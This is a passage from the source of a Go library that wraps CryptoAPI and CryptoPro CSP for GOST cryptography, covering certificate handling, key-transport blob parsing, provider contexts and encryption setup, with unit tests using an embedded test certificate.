fmt.Errorf("unmarshaling EncryptionParamSet: %+v", err) 196 | } 197 | res.TransportParameters.EncryptionParamSet = encapsulatedParamset.OID 198 | return res, nil 199 | } 200 | 201 | func (k Gost2001KeyTransportASN1) ToBlockEncryptedData(dataStream []byte) (BlockEncryptedData, error) { 202 | res := BlockEncryptedData{ 203 | IV: dataStream[0:8], 204 | CipherText: dataStream[8:], 205 | SessionKey: SessionKey{ 206 | EncryptedKey: k.SessionKey.EncryptedKey, 207 | MACKey: k.SessionKey.MacKey, 208 | SeanceVector: k.TransportParameters.SeanceVector, 209 | }, 210 | DHParamsOID: k.TransportParameters.EphemeralPublicKey.Algorithm.SignParams.DHParamsOID.String(), 211 | DigestOID: k.TransportParameters.EphemeralPublicKey.Algorithm.SignParams.DigestOID.String(), 212 | PublicKeyOID: k.TransportParameters.EphemeralPublicKey.Algorithm.PublicKeyOID.String(), 213 | } 214 | _, err := asn1.Unmarshal(k.TransportParameters.EphemeralPublicKey.EncapsulatedPublicKey.Bytes, &res.SessionPublicKey) 215 | if err != nil { 216 | return res, err 217 | } 218 | encapsulatedParamset := struct{ OID asn1.ObjectIdentifier }{k.TransportParameters.EncryptionParamSet} 219 | if res.SessionKey.EncryptionParamSet, err = asn1.Marshal(encapsulatedParamset); err != nil { 220 | return res, nil 221 | } 222 | return res, nil 223 | } 224 | 225 | func (s GOST2001KeyTransport) ToBlockEncryptedData(dataStream []byte) BlockEncryptedData { 226 | res := BlockEncryptedData{ 227 | IV: dataStream[0:8], 228 | CipherText: dataStream[8:], 229 | SessionKey: SessionKey{ 230 | EncryptedKey: s[7 : 7+32], 231 | MACKey: s[41 : 41+4], 232 | SeanceVector: s[164 : 164+8], 233 | }, 234 | SessionPublicKey: s[98 : 98+64], 235 | DHParamsOID: "1.2.643.2.2.36.0", 236 | } 237 | if s[81] == 35 { 238 | res.DHParamsOID = "1.2.643.2.2.35.1" 239 | } 240 | return res 241 | } 242 | -------------------------------------------------------------------------------- /csp/blob_test.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | import ( 4 | "bytes" 5 | "encoding/asn1" 6 | "os" 7 | "testing" 8 | ) 9 | 10 | func TestDecodeGostTransportASN(t *testing.T) { 11 | var dest Gost2001KeyTransportASN1 12 | testData, err := os.ReadFile("testdata/cipher2.bin") 13 | if err != nil { 14 | t.Fatal(err) 15 | } 16 | if _, err := asn1.Unmarshal(testData, &dest); err != nil { 17 | t.Fatal(err) 18 | } 19 | var pubKey []byte 20 | if _, err := asn1.Unmarshal(dest.TransportParameters.EphemeralPublicKey.EncapsulatedPublicKey.Bytes, &pubKey); err != nil { 21 | t.Fatal(err) 22 | } 23 | t.Logf("%+v, %d", dest, len(pubKey)) 24 | data, err := asn1.Marshal(dest) 25 | if err != nil { 26 | t.Fatal(err) 27 | } 28 | if !bytes.Equal(data, testData) { 29 | t.Error("marshaled and unmarshaled data do not match") 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /csp/cert.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | //#include "common.h" 4 | import "C" 5 | 6 | import ( 7 | "encoding/hex" 8 | "unsafe" 9 | ) 10 | 11 | // Cert encapsulates certificate context 12 | type Cert struct { 13 | pCert C.PCCERT_CONTEXT 14 | } 15 | 16 | // IsZero returns true if certificate struct was not initialized 17 | func (c Cert) IsZero() bool { 18 | return c.pCert == nil 19 | } 20 | 21 | // ParseCert creates certificate context from byte slice 22 | func ParseCert(buf []byte) (res Cert, err error) { 23 | bufBytes := C.CBytes(buf) 24 | defer C.free(bufBytes) 25 | 26 | res.pCert = C.CertCreateCertificateContext(C.MY_ENC_TYPE, (*C.BYTE)(bufBytes), C.DWORD(len(buf))) 27 | if res.pCert == nil { 28 | err = getErr("Error creating certficate context") 29 | return 30 | } 31 | return 32 | } 33 | 34 | // Close releases certificate context 35 | func (c Cert) Close() error { 36 | if C.CertFreeCertificateContext(c.pCert) == 0 { 37 | return getErr("Error releasing certificate context") 38 | } 39 | return nil 40 | } 41 | 42 | // CertPropertyID corresponds to a C type of DWORD 43 | type CertPropertyID C.DWORD 44 | 45 | // Constants for certificate property IDs 46 | const ( 47 | CertHashProp CertPropertyID = C.CERT_HASH_PROP_ID 48 | CertKeyIDentifierProp CertPropertyID = C.CERT_KEY_IDENTIFIER_PROP_ID 49 | CertProvInfoProp CertPropertyID = C.CERT_KEY_PROV_INFO_PROP_ID 50 | ) 51 | 52 | // GetProperty is a base function for extracting certificate context properties 53 | func (c Cert) GetProperty(propID CertPropertyID) ([]byte, error) { 54 | var slen C.DWORD 55 | var res []byte 56 | if C.CertGetCertificateContextProperty(c.pCert, C.DWORD(propID), nil, &slen) == 0 { 57 | return res, getErr("Error getting cert context property size") 58 | } 59 | res = make([]byte, slen) 60 | if C.CertGetCertificateContextProperty(c.pCert, C.DWORD(propID), unsafe.Pointer(&res[0]), &slen) == 0 { 61 | return res, getErr("Error getting cert context property body") 62 | } 63 | return res, nil 64 | } 65 | 66 | // ThumbPrint returns certificate's hash as a hexadecimal string 67 | func (c Cert) ThumbPrint() (string, error) { 68 | thumb, err := c.GetProperty(CertHashProp) 69 | return hex.EncodeToString(thumb), err 70 | } 71 | 72 | // MustThumbPrint returns certificate's hash as a hexadecimal string or panics 73 | func (c Cert) MustThumbPrint() string { 74 | if thumb, err := c.ThumbPrint(); err != nil { 75 | panic(err) 76 | } else { 77 | return thumb 78 | } 79 | } 80 | 81 | // SubjectID returns certificate's subject public key ID as a hexadecimal string 82 | func (c Cert) SubjectID() (string, error) { 83 | thumb, err := c.GetProperty(CertKeyIDentifierProp) 84 | return hex.EncodeToString(thumb), err 85 | } 86 | 87 | // MustSubjectID returns certificate's subject id or panics 88 | func (c Cert) MustSubjectID() string { 89 | if subj, err := c.SubjectID(); err != nil { 90 | panic(err) 91 | } else { 92 | return subj 93 | } 94 | } 95 | 96 | // Bytes returns encoded certificate as byte slice 97 | func (c Cert) Bytes() []byte { 98 | return C.GoBytes(unsafe.Pointer(c.pCert.pbCertEncoded), C.int(c.pCert.cbCertEncoded)) 99 | } 100 | 101 | // Context returns cryptographic context associated with the certificate 102 | func (c Cert) Context() (Ctx, error) { 103 | var provInfo *C.CRYPT_KEY_PROV_INFO 104 | var res Ctx 105 | var cbData C.DWORD 106 | if C.CertGetCertificateContextProperty(c.pCert, C.CERT_KEY_PROV_INFO_PROP_ID, nil, &cbData) == 0 { 107 | return res, getErr("Error getting certificate context property length") 108 | } 109 | provInfo = (*C.CRYPT_KEY_PROV_INFO)(C.malloc(C.size_t(cbData))) 110 | defer C.free(unsafe.Pointer(provInfo)) 111 | if C.CertGetCertificateContextProperty(c.pCert, C.CERT_KEY_PROV_INFO_PROP_ID, unsafe.Pointer(provInfo), &cbData) == 0 { 112 | return res, getErr("Error getting certificate context property") 113 | } 114 | if C.CryptAcquireContextW(&res.hProv, provInfo.pwszContainerName, provInfo.pwszProvName, provInfo.dwProvType, provInfo.dwFlags) == 0 { 115 | return res, getErr("Error acquiring context") 116 | } 117 | return res, nil 118 | } 119 | -------------------------------------------------------------------------------- /csp/cert_test.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | import ( 4 | "encoding/base64" 5 | "testing" 6 | 7 | "gopkg.in/tylerb/is.v1" 8 | ) 9 | 10 | var certData = ` 11 | MIIDHzCCAs6gAwIBAgITEgAlHKiioEaX0w6yFgAAACUcqDAIBgYqhQMCAgMwfzEjMCEGCSqGSIb3 12 | DQEJARYUc3VwcG9ydEBjcnlwdG9wcm8ucnUxCzAJBgNVBAYTAlJVMQ8wDQYDVQQHEwZNb3Njb3cx 13 | FzAVBgNVBAoTDkNSWVBUTy1QUk8gTExDMSEwHwYDVQQDExhDUllQVE8tUFJPIFRlc3QgQ2VudGVy 14 | IDIwHhcNMTgwMTI0MTIzMTAzWhcNMTgwNDI0MTI0MTAzWjAkMSIwIAYDVQQDDBlDU1AgVGVzdCBj 15 | ZXJ0aWZpY2F0ZV8yMDEyMGYwHwYIKoUDBwEBAQEwEwYHKoUDAgIkAAYIKoUDBwEBAgIDQwAEQKwp 16 | vrPwC5k0WSKyTseCf7V6OjnzwN07aJqNj2A9phaQd0/BicLQkf21xXoCI+TmQ6mFZGmTLvnbRgK8 17 | rs8sqlijggF3MIIBczALBgNVHQ8EBAMCBPAwHQYDVR0lBBYwFAYIKwYBBQUHAwQGCCsGAQUFBwMC 18 | MB0GA1UdDgQWBBTxxr0WOmM09CsjW27W3mUTRvRwzTAfBgNVHSMEGDAWgBQVMXywjRreZtcVnElS 19 | lxckuQF6gzBZBgNVHR8EUjBQME6gTKBKhkhodHRwOi8vdGVzdGNhLmNyeXB0b3Byby5ydS9DZXJ0 20 | RW5yb2xsL0NSWVBUTy1QUk8lMjBUZXN0JTIwQ2VudGVyJTIwMi5jcmwwgakGCCsGAQUFBwEBBIGc 21 | MIGZMGEGCCsGAQUFBzAChlVodHRwOi8vdGVzdGNhLmNyeXB0b3Byby5ydS9DZXJ0RW5yb2xsL3Rl 22 | c3QtY2EtMjAxNF9DUllQVE8tUFJPJTIwVGVzdCUyMENlbnRlciUyMDIuY3J0MDQGCCsGAQUFBzAB 23 | hihodHRwOi8vdGVzdGNhLmNyeXB0b3Byby5ydS9vY3NwL29jc3Auc3JmMAgGBiqFAwICAwNBAI09 24 | oVDNKzK++W1TKQr+ni0Ft6YZmuMLV1KOQFLNENqfsSfvM4e5ptsqUNM6AXfzJD0uebjJCvE8Vxxd 25 | DlA1v9M= 26 | ` 27 | 28 | const ( 29 | certThumb = "8443b5d408789c867c9037b2370fe1a24643e36d" 30 | certSubjectID = "f1c6bd163a6334f42b235b6ed6de651346f470cd" 31 | certSubject = "CSP Test certificate_2012" 32 | ) 33 | 34 | func getCert() Cert { 35 | data, _ := base64.StdEncoding.DecodeString(certData) 36 | crt, err := ParseCert(data) 37 | if err != nil { 38 | panic(err) 39 | } 40 | return crt 41 | } 42 | 43 | func TestNewCert(t *testing.T) { 44 | is := is.New(t) 45 | 46 | crt := getCert() 47 | is.NotNil(crt.pCert) 48 | is.NotErr(crt.Close()) 49 | } 50 | 51 | func TestCertProps(t *testing.T) { 52 | is := is.New(t) 53 | 54 | crt := getCert() 55 | thumb, err := crt.ThumbPrint() 56 | is.NotErr(err) 57 | is.Equal(certThumb, thumb) 58 | subjectID, err := crt.SubjectID() 59 | is.NotErr(err) 60 | is.Equal(certSubjectID, subjectID) 61 | } 62 | 63 | func TestMemoryStore(t *testing.T) { 64 | is := is.New(t) 65 | 66 | store, err := MemoryStore() 67 | is.NotErr(err) 68 | is.NotErr(store.Close()) 69 | } 70 | 71 | func TestMyStore(t *testing.T) { 72 | is := is.New(t) 73 | 74 | store, err := SystemStore("MY") 75 | is.NotErr(err) 76 | is.NotErr(store.Close()) 77 | } 78 | 79 | func TestFind(t *testing.T) { 80 | is := is.New(t) 81 | 82 | store, err := MemoryStore() 83 | is.NotErr(err) 84 | defer store.Close() 85 | 86 | crt := getCert() 87 | is.NotErr(store.Add(crt)) 88 | 89 | crt2, err := store.GetByThumb(certThumb) 90 | is.NotErr(err) 91 | is.Equal(certThumb, crt2.MustThumbPrint()) 92 | is.NotErr(crt2.Close()) 93 | 94 | crt2, err = store.GetBySubjectId(certSubjectID) 95 | is.NotErr(err) 96 | is.Equal(certSubjectID, crt2.MustSubjectID()) 97 | is.NotErr(crt2.Close()) 98 | 99 | certsInStore := store.FindByThumb(certThumb) 100 | is.Equal(1, len(certsInStore)) 101 | for _, c := range certsInStore { 102 | is.NotErr(c.Close()) 103 | } 104 | 105 | certsInStore = store.FindBySubjectId(certSubjectID) 106 | is.Equal(1, len(certsInStore)) 107 | for _, c := range certsInStore { 108 | is.NotErr(c.Close()) 109 | } 110 | 111 | certsInStore2 := store.Certs() 112 | is.Equal(1, len(certsInStore2)) 113 | for _, c := range certsInStore2 { 114 | is.NotErr(c.Close()) 115 | } 116 | 117 | certsInStore3 := store.FindBySubject(certSubject) 118 | is.NotZero(certsInStore3) 119 | for _, c := range certsInStore3 { 120 | is.NotErr(c.Close()) 121 | } 122 | 123 | certsInStore4 := store.Certs() 124 | is.Equal(1, len(certsInStore4)) 125 | for _, c := range certsInStore4 { 126 | is.NotErr(c.Close()) 127 | } 128 | 129 | crt3, err := store.GetBySubject(certSubject) 130 | is.NotErr(err) 131 | is.Equal(certThumb, crt3.MustThumbPrint()) 132 | is.NotErr(crt3.Close()) 133 | } 134 | 135 | func TestExtractCert(t *testing.T) { 136 | is := is.New(t) 137 | 138 | crt := getCert() 139 | data := crt.Bytes() 140 | is.NotZero(data) 141 | } 142 | -------------------------------------------------------------------------------- /csp/certinfo.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | //#include "common.h" 4 | import "C" 5 | 6 | import ( 7 | "unsafe" 8 | ) 9 | 10 | // CertInfo encapsulates certificate properties 11 | type CertInfo struct { 12 | pCertInfo C.PCERT_INFO 13 | } 14 | 15 | // Info extracts CertInfo from Cert 16 | func (c Cert) Info() CertInfo { 17 | return CertInfo{c.pCert.pCertInfo} 18 | } 19 | 20 | // SignatureAlgorithm returns certificate signature algorithm as object ID 21 | // string 22 | func (ci CertInfo) SignatureAlgorithm() string { 23 | return C.GoString((*C.char)(unsafe.Pointer(ci.pCertInfo.SignatureAlgorithm.pszObjId))) 24 | } 25 | 26 | // PublicKeyAlgorithm returns certificate subject public key algorithm as 27 | // object ID string 28 | func (ci CertInfo) PublicKeyAlgorithm() string { 29 | return C.GoString((*C.char)(unsafe.Pointer(ci.pCertInfo.SubjectPublicKeyInfo.Algorithm.pszObjId))) 30 | } 31 | 32 | // PublicKeyBytes returns certificate subject public key as byte slice 33 | func (ci CertInfo) PublicKeyBytes() []byte { 34 | pb := ci.pCertInfo.SubjectPublicKeyInfo.PublicKey 35 | return C.GoBytes(unsafe.Pointer(pb.pbData), C.int(pb.cbData)) 36 | } 37 | 38 | func nameToStr(src C.PCERT_NAME_BLOB) (string, error) { 39 | slen := C.CertNameToStr(C.X509_ASN_ENCODING, src, C.CERT_X500_NAME_STR, nil, 0) 40 | data := make([]byte, slen) 41 | cStrPtr := (*C.CHAR)(unsafe.Pointer(&data[0])) 42 | if n := C.CertNameToStr(C.X509_ASN_ENCODING, src, C.CERT_X500_NAME_STR, cStrPtr, slen); n == 0 { 43 | return "", getErr("Error converting RDN to string") 44 | } 45 | return C.GoString((*C.char)(cStrPtr)), nil 46 | } 47 | 48 | // SubjectStr returns certificate subject converted to Go string 49 | func (ci CertInfo) SubjectStr() (string, error) { 50 | return nameToStr(&ci.pCertInfo.Subject) 51 | } 52 | 53 | // IssuerStr returns certificate issuer converted to Go string 54 | func (ci CertInfo) IssuerStr() (string, error) { 55 | return nameToStr(&ci.pCertInfo.Issuer) 56 | } 57 | -------------------------------------------------------------------------------- /csp/certinfo_test.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | import ( 4 | "gopkg.in/tylerb/is.v1" 5 | "testing" 6 | ) 7 | 8 | func TestCertInfo(t *testing.T) { 9 | is := is.New(t) 10 | 11 | crt := getCert() 12 | info := crt.Info() 13 | is.NotZero(info) 14 | 15 | s, err := info.SubjectStr() 16 | is.NotErr(err) 17 | is.NotZero(s) 18 | 19 | s, err = info.IssuerStr() 20 | is.NotErr(err) 21 | is.NotZero(s) 22 | 23 | is.NotZero(info.SignatureAlgorithm()) 24 | is.NotZero(info.PublicKeyAlgorithm()) 25 | is.NotZero(len(info.PublicKeyBytes())) 26 | } 27 | -------------------------------------------------------------------------------- /csp/common.go: -------------------------------------------------------------------------------- 1 | // Package csp provides mid-level cryptographic API based on CryptoAPI 2 | // 2.0 on Windows and CryptoPro CSP on Linux. 3 | package csp 4 | 5 | /* 6 | #cgo darwin CFLAGS: -I/opt/cprocsp/include/cpcsp 7 | #cgo darwin LDFLAGS: -L/opt/cprocsp/lib -lcapi10 -lcapi20 -lrdrsup -lssp 8 | #cgo linux,amd64 CFLAGS: -I/opt/cprocsp/include/cpcsp -DUNIX -DLINUX -DSIZEOF_VOID_P=8 9 | #cgo linux,386 CFLAGS: -I/opt/cprocsp/include/cpcsp -DUNIX -DLINUX -DSIZEOF_VOID_P=4 10 | #cgo linux,amd64 LDFLAGS: -L/opt/cprocsp/lib/amd64/ -lcapi10 -lcapi20 -lrdrsup -lssp 11 | #cgo linux,386 LDFLAGS: -L/opt/cprocsp/lib/ia32/ -lcapi10 -lcapi20 -lrdrsup -lssp 12 | #cgo windows CFLAGS: -I/opt/cprocsp/include/cpcsp 13 | #cgo windows LDFLAGS: -lcrypt32 -lpthread 14 | #include "common.h" 15 | */ 16 | import "C" 17 | 18 | import ( 19 | "fmt" 20 | "unsafe" 21 | ) 22 | 23 | // ErrorCode corresponds to a C type DWORD 24 | type ErrorCode C.DWORD 25 | 26 | func (ec ErrorCode) String() string { 27 | if s, ok := errorStringMap[int64(ec)]; ok { 28 | return s 29 | } 30 | actualCode := C.DWORD(ec) 31 | return fmt.Sprintf("%#010x", actualCode) 32 | } 33 | 34 | // Some C error codes translated to Go constants 35 | const ( 36 | ErrBadKeysetParam ErrorCode = C.NTE_BAD_KEYSET_PARAM & (1<<32 - 1) // Typically occurs when trying to acquire context 37 | ErrFail ErrorCode = C.NTE_FAIL & (1<<32 - 1) // Misc error 38 | // ErrInvalidParameter ErrorCode = C.NTE_INVALID_PARAMETER & (1<<32 - 1) // Bad parameter to cryptographic function 39 | ErrNoKey ErrorCode = C.NTE_NO_KEY & (1<<32 - 1) // Key not found 40 | ErrExists ErrorCode = C.NTE_EXISTS & (1<<32 - 1) // Object already exists 41 | ErrNotFound ErrorCode = C.NTE_NOT_FOUND & (1<<32 - 1) // Object not found 42 | ErrKeysetNotDef ErrorCode = C.NTE_KEYSET_NOT_DEF & (1<<32 - 1) // Operation on unknown container 43 | ErrBadKeyset ErrorCode = C.NTE_BAD_KEYSET & (1<<32 - 1) // Operation on unknown container 44 | ErrStreamNotReady ErrorCode = C.CRYPT_E_STREAM_MSG_NOT_READY & (1<<32 - 1) // Returned until stream header is parsed 45 | ErrCryptNotFound ErrorCode = C.CRYPT_E_NOT_FOUND & (1<<32 - 1) 46 | ErrMoreData ErrorCode = C.ERROR_MORE_DATA & (1<<32 - 1) 47 | ) 48 | 49 | // Error provides error type 50 | type Error struct { 51 | Code ErrorCode // Code indicates exact CryptoAPI error code 52 | msg string 53 | } 54 | 55 | func (e Error) Error() string { 56 | return fmt.Sprintf("%s: %s", e.msg, e.Code) 57 | } 58 | 59 | func charPtr(s string) *C.CHAR { 60 | if s != "" { 61 | return (*C.CHAR)(unsafe.Pointer(C.CString(s))) 62 | } 63 | return nil 64 | } 65 | 66 | func freePtr(s *C.CHAR) { 67 | if s != nil { 68 | C.free(unsafe.Pointer(s)) 69 | } 70 | } 71 | 72 | func getErr(msg string) error { 73 | return Error{msg: msg, Code: ErrorCode(C.GetLastError())} 74 | } 75 | 76 | func getErrf(tpl string, values ...interface{}) error { 77 | return Error{msg: fmt.Sprintf(tpl, values...), Code: ErrorCode(C.GetLastError())} 78 | } 79 | 80 | func extractBlob(pb *C.DATA_BLOB) []byte { 81 | return C.GoBytes(unsafe.Pointer(pb.pbData), C.int(pb.cbData)) 82 | } 83 | -------------------------------------------------------------------------------- /csp/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H_INCLUDED 2 | #define COMMON_H_INCLUDED 3 | 4 | #include 5 | #include 6 | #include 7 | #ifdef _WIN32 8 | # define BOOL WINBOOL 9 | # include 10 | # include 11 | # include 12 | typedef struct _CMSG_CTRL_DECRYPT_PARA_OVERRIDE { 13 | DWORD cbSize; 14 | HCRYPTPROV hCryptProv; 15 | DWORD dwKeySpec; 16 | DWORD dwRecipientIndex; 17 | } CMSG_CTRL_DECRYPT_PARA_OVERRIDE,*PCMSG_CTRL_DECRYPT_PARA_OVERRIDE; 18 | #define CMSG_CTRL_DECRYPT_PARA CMSG_CTRL_DECRYPT_PARA_OVERRIDE 19 | #else 20 | # define HCRYPTPROV_OR_NCRYPT_KEY_HANDLE HCRYPTPROV 21 | # include 22 | # include 23 | #endif 24 | #include 25 | 26 | #define MY_ENC_TYPE (X509_ASN_ENCODING | PKCS_7_ASN_ENCODING) 27 | #define ENCRYPT_OID szOID_CP_GOST_28147 28 | #endif 29 | -------------------------------------------------------------------------------- /csp/container_lnx.go: -------------------------------------------------------------------------------- 1 | // +build !windows 2 | 3 | package csp 4 | 5 | import ( 6 | "fmt" 7 | ) 8 | 9 | // Container returns HDIMAGE container name for CryptoPro linux CSP 10 | func Container(cont string) string { 11 | return fmt.Sprintf("\\\\.\\HDIMAGE\\%s", cont) 12 | } 13 | -------------------------------------------------------------------------------- /csp/container_win.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package csp 4 | 5 | // Container simply returns container name for Windows 6 | func Container(cont string) string { 7 | return cont 8 | } 9 | -------------------------------------------------------------------------------- /csp/context.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | //#include "common.h" 4 | import "C" 5 | 6 | import ( 7 | "unsafe" 8 | ) 9 | 10 | // CryptFlag determines behaviour of acquired context 11 | type CryptFlag C.DWORD 12 | 13 | // Flags for acquiring context 14 | const ( 15 | CryptVerifyContext CryptFlag = C.CRYPT_VERIFYCONTEXT 16 | CryptNewKeyset CryptFlag = C.CRYPT_NEWKEYSET 17 | CryptMachineKeyset CryptFlag = C.CRYPT_MACHINE_KEYSET 18 | CryptDeleteKeyset CryptFlag = C.CRYPT_DELETEKEYSET 19 | CryptSilent CryptFlag = C.CRYPT_SILENT 20 | ) 21 | 22 | // ProvType is CryptoAPI provider type 23 | type ProvType C.DWORD 24 | 25 | // Provider types 26 | const ( 27 | ProvRsa ProvType = C.PROV_RSA_FULL 28 | ProvGost94 ProvType = 71 29 | ProvGost2001 ProvType = 75 30 | ProvGost2012 ProvType = 80 31 | ProvGost2012_512 ProvType = 81 32 | ) 33 | 34 | // Public key algorithm IDs 35 | const ( 36 | GOSTR341012256 = "1.2.643.7.1.1.1.1" 37 | GOSTR341012512 = "1.2.643.7.1.1.1.2" 38 | ) 39 | 40 | // Ctx is a CSP context nessessary for cryptographic 41 | // functions. 42 | type Ctx struct { 43 | hProv C.HCRYPTPROV 44 | } 45 | 46 | // IsZero returns true if context was not initialized 47 | func (c Ctx) IsZero() bool { 48 | return c.hProv == 0 49 | } 50 | 51 | // CryptoProvider struct contains description of CSP that can be used for 52 | // creation of CSP Context. 53 | type CryptoProvider struct { 54 | Name string 55 | Type ProvType 56 | } 57 | 58 | // EnumProviders returns slice of CryptoProvider structures, describing 59 | // available CSPs. 60 | func EnumProviders() (res []CryptoProvider, err error) { 61 | var slen, provType, index C.DWORD 62 | 63 | res = make([]CryptoProvider, 0) 64 | 65 | for index = 0; C.CryptEnumProviders(index, nil, 0, &provType, nil, &slen) != 0; index++ { 66 | buf := make([]byte, slen) 67 | // XXX: Some evil magic here 68 | if C.CryptEnumProviders(index, nil, 0, &provType, (*C.CHAR)(unsafe.Pointer(&buf[0])), &slen) == 0 { 69 | err = getErr("Error during provider enumeration") 70 | return 71 | } 72 | res = append(res, CryptoProvider{Name: string(buf), Type: ProvType(provType)}) 73 | } 74 | return 75 | } 76 | 77 | // AcquireCtx acquires new CSP context from container name, provider name, 78 | // type and flags. Empty strings for container and provider 79 | // names are typically used for CryptVerifyContext flag setting. Created context 80 | // must be eventually released with its Close method. 81 | func AcquireCtx(container, provider string, provType ProvType, flags CryptFlag) (res Ctx, err error) { 82 | cContainer := charPtr(container) 83 | defer freePtr(cContainer) 84 | cProvider := charPtr(provider) 85 | defer freePtr(cProvider) 86 | 87 | if C.CryptAcquireContext(&res.hProv, cContainer, cProvider, C.DWORD(provType), C.DWORD(flags)) == 0 { 88 | err = getErr("Error acquiring context") 89 | return 90 | } 91 | return 92 | } 93 | 94 | // DeleteCtx deletes key container from CSP. 95 | func DeleteCtx(container, provider string, provType ProvType) error { 96 | _, err := AcquireCtx(container, provider, provType, CryptDeleteKeyset) 97 | return err 98 | } 99 | 100 | // Close releases CSP context 101 | func (ctx Ctx) Close() error { 102 | if C.CryptReleaseContext(ctx.hProv, 0) == 0 { 103 | return getErr("Error releasing context") 104 | } 105 | return nil 106 | } 107 | 108 | // SetPassword changes PIN on key container acquired with AcquireCtx to pwd. Which 109 | // private/public key pair affected is determined by at parameter. 110 | func (ctx Ctx) SetPassword(pwd string, at KeyPairID) error { 111 | var pParam C.DWORD 112 | pin := unsafe.Pointer(C.CString(pwd)) 113 | defer C.free(pin) 114 | 115 | if at == AtSignature { 116 | pParam = C.PP_SIGNATURE_PIN 117 | } else { 118 | pParam = C.PP_KEYEXCHANGE_PIN 119 | } 120 | if C.CryptSetProvParam(ctx.hProv, pParam, (*C.BYTE)(pin), 0) == 0 { 121 | return getErr("Error setting container password") 122 | } 123 | return nil 124 | } 125 | 126 | // SetDHOID changes D-H OID on key container to specified OID (typically, result of Key.GetDHOID method) 127 | func (ctx Ctx) SetDHOID(oid string) error { 128 | ptr := unsafe.Pointer(C.CString(oid)) 129 | defer C.free(ptr) 130 | if C.CryptSetProvParam(ctx.hProv, C.PP_DHOID, (*C.BYTE)(ptr), 0) == 0 { 131 | return getErr("Error setting context DH OID") 132 | } 133 | return nil 134 | } 135 | -------------------------------------------------------------------------------- /csp/context_test.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | import ( 4 | //"fmt" 5 | "errors" 6 | "flag" 7 | "fmt" 8 | "os" 9 | "testing" 10 | 11 | "gopkg.in/tylerb/is.v1" 12 | ) 13 | 14 | var ( 15 | provName string 16 | signCertThumb string 17 | provType ProvType 18 | ) 19 | 20 | func TestContextVerify(t *testing.T) { 21 | is := is.New(t) 22 | 23 | x, err := AcquireCtx("", provName, provType, CryptVerifyContext) 24 | is.NotErr(err) 25 | is.NotNil(x.hProv) 26 | err = x.Close() 27 | is.NotErr(err) 28 | 29 | } 30 | 31 | func TestEnumProviders(t *testing.T) { 32 | is := is.New(t) 33 | 34 | x, err := EnumProviders() 35 | is.NotErr(err) 36 | is.NotZero(x) 37 | } 38 | 39 | func TestErrorContext(t *testing.T) { 40 | is := is.New(t) 41 | 42 | err := DeleteCtx(Container("NotExistentContext"), provName, provType) 43 | cerr, ok := err.(Error) 44 | is.True(ok) 45 | is.Equal(fmt.Sprintf("%x", ErrBadKeyset), fmt.Sprintf("%x", cerr.Code)) 46 | } 47 | 48 | func TestCtxStore(t *testing.T) { 49 | is := is.New(t) 50 | 51 | ctx, err := AcquireCtx("", provName, provType, CryptVerifyContext) 52 | is.NotErr(err) 53 | store, err := ctx.CertStore("MY") 54 | is.NotErr(err) 55 | is.NotErr(store.Close()) 56 | } 57 | 58 | func TestMain(m *testing.M) { 59 | x, err := EnumProviders() 60 | if err != nil { 61 | panic(err) 62 | } 63 | if len(x) < 1 { 64 | panic(errors.New("Must be at least 1 CSP available")) 65 | } 66 | provName = x[0].Name 67 | provType = x[0].Type 68 | flag.StringVar(&signCertThumb, "cert", "", "certificate thumbprint for signing") 69 | flag.Parse() 70 | os.Exit(m.Run()) 71 | } 72 | -------------------------------------------------------------------------------- /csp/data_encrypt.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | /* 4 | #include "common.h" 5 | 6 | typedef struct { 7 | CRYPT_ENCRYPT_MESSAGE_PARA params; 8 | DWORD cRecipients; 9 | PCCERT_CONTEXT *rgRecipientCerts; 10 | } _ENCRYPT_DATA_PARAMS; 11 | 12 | static _ENCRYPT_DATA_PARAMS *mkEncryptDataParams(HCRYPTPROV hCryptProv, int cRecipients, LPSTR encryptOID) { 13 | _ENCRYPT_DATA_PARAMS *res = malloc(sizeof(_ENCRYPT_DATA_PARAMS)); 14 | memset(res, 0, sizeof(_ENCRYPT_DATA_PARAMS)); 15 | 16 | res->params.cbSize = sizeof(CMSG_ENVELOPED_ENCODE_INFO); 17 | res->params.dwMsgEncodingType = MY_ENC_TYPE; 18 | res->params.hCryptProv = hCryptProv; 19 | res->params.ContentEncryptionAlgorithm.pszObjId = encryptOID; 20 | 21 | res->cRecipients = (DWORD)cRecipients; 22 | res->rgRecipientCerts = malloc(sizeof(PCCERT_CONTEXT) * cRecipients); 23 | memset(res->rgRecipientCerts, 0, sizeof(PCCERT_CONTEXT) * cRecipients); 24 | return res; 25 | } 26 | 27 | static void freeEncryptDataParams(_ENCRYPT_DATA_PARAMS *params) { 28 | free(params->params.ContentEncryptionAlgorithm.pszObjId); 29 | free(params->rgRecipientCerts); 30 | free(params); 31 | } 32 | 33 | static void setRecipientCert(_ENCRYPT_DATA_PARAMS *out, int nSigner, PCCERT_CONTEXT pRecipientCert) { 34 | out->rgRecipientCerts[nSigner] = pRecipientCert; 35 | } 36 | 37 | static CRYPT_DECRYPT_MESSAGE_PARA *mkDecryptMessagePara(HCERTSTORE *store) { 38 | CRYPT_DECRYPT_MESSAGE_PARA *decryptParams = malloc(sizeof(CRYPT_DECRYPT_MESSAGE_PARA)); 39 | memset(decryptParams, 0, sizeof(CRYPT_DECRYPT_MESSAGE_PARA)); 40 | decryptParams->cbSize = sizeof(CRYPT_DECRYPT_MESSAGE_PARA); 41 | decryptParams->dwMsgAndCertEncodingType = MY_ENC_TYPE; 42 | decryptParams->cCertStore = 1; 43 | decryptParams->rghCertStore = store; 44 | return decryptParams; 45 | } 46 | */ 47 | import "C" 48 | 49 | import ( 50 | "fmt" 51 | "unsafe" 52 | ) 53 | 54 | // EncryptData encrypts arbitrary byte slice for one or more recipient 55 | // certificates 56 | func EncryptData(data []byte, options EncryptOptions) (_ []byte, rErr error) { 57 | if len(options.Receivers) == 0 { 58 | return nil, fmt.Errorf("Receivers certificates list is empty") 59 | } 60 | ctx, err := AcquireCtx("", "", ProvGost2012_512, 